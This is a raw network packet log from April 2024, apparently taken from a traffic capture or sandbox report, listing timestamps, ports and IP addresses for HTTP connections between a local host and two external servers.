Apr 23, 2024 09:38:07.385327101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385341883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385344028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385358095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385375023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385377884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385390043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385406017 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385407925 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385421038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385436058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385441065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385452032 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385467052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385472059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385482073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385498047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385503054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385514021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385529995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385534048 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385545015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385560036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385565996 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385576010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385591030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385592937 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385607958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385622978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385631084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385637999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385653019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385657072 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385668039 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385684013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385689020 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385699987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385715008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385720968 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385730982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385747910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385754108 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385763884 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385778904 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385783911 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385795116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385811090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385817051 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385826111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385839939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385843039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385855913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385871887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385878086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385888100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385904074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385906935 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385919094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385934114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385941029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385950089 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385963917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385967970 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.385979891 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.385994911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386002064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386012077 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386028051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386032104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386043072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386058092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386060953 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386074066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386090040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386094093 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386106014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386122942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386126041 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386138916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386159897 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386163950 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386176109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386192083 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386202097 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386209011 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386224031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386230946 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386240005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386255026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386266947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386271000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386286020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386288881 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386302948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386320114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386323929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386337042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386352062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386357069 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386368990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386384010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386385918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386399031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386415005 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386421919 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386430979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386446953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386454105 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386462927 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386477947 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386482954 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386492968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386507988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386512041 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386523962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386538982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386544943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386555910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386570930 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386574030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386585951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386601925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386605978 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386617899 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386632919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386637926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386647940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386663914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386667013 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386678934 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386693954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386697054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386709929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386724949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386730909 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386740923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386754990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386760950 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386771917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386786938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386790037 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386802912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386818886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386823893 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386835098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386850119 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386856079 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386867046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386883020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386888027 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386898041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386914015 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386919975 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386929989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386946917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386950970 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386962891 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386977911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.386981010 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.386991978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.387008905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.387015104 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.387044907 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.439982891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:07.440123081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:07.527910948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:07.527911901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:07.613136053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613207102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613292933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613316059 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.613332033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613368034 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613373995 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.613406897 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613441944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613445997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.613477945 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613518953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613522053 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.613554955 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613590002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613596916 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.613626003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613661051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613667011 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.613698006 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613732100 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613738060 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.613768101 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613804102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613806009 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.613840103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613877058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.613878012 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616166115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616205931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616230011 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616240978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616277933 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616287947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616415024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616461039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616508961 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616545916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616581917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616601944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616617918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616652966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616657972 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616688967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616724014 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616729975 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616759062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616794109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616802931 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616835117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.616880894 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.616971970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.617008924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.617044926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.617052078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.617082119 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.617122889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.619507074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619596958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619633913 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619642973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.619672060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619708061 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619714975 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.619745016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619785070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619791985 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.619822979 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619858980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619863033 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.619894028 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619930983 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.619935989 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.619966030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620002031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620012045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620038986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620079041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620091915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620163918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620202065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620210886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620238066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620275021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620280981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620311022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620347023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620352030 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620383024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620418072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620424986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620454073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620491982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620500088 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620528936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620564938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620572090 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620601892 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620636940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620640039 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620672941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620707989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620714903 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620744944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620779991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620785952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620815992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620851040 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620860100 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620887041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620930910 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.620934963 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.620968103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621001959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621012926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621037960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621073008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621078014 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621109962 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621146917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621155024 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621184111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621220112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621227026 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621256113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621292114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621299982 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621328115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621364117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621371031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621401072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621437073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621442080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621473074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621510983 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621516943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621546030 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621582031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621588945 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621617079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621653080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621663094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621690035 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621726036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621726990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621761084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621798038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621800900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621834993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621870041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621876955 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621906042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621943951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.621956110 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.621978998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622014046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622037888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622050047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622086048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622101068 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622121096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622155905 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622165918 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:07.622191906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622226954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:07.622241020 CEST	49734	80	192.168.2.4	176.97.76.106
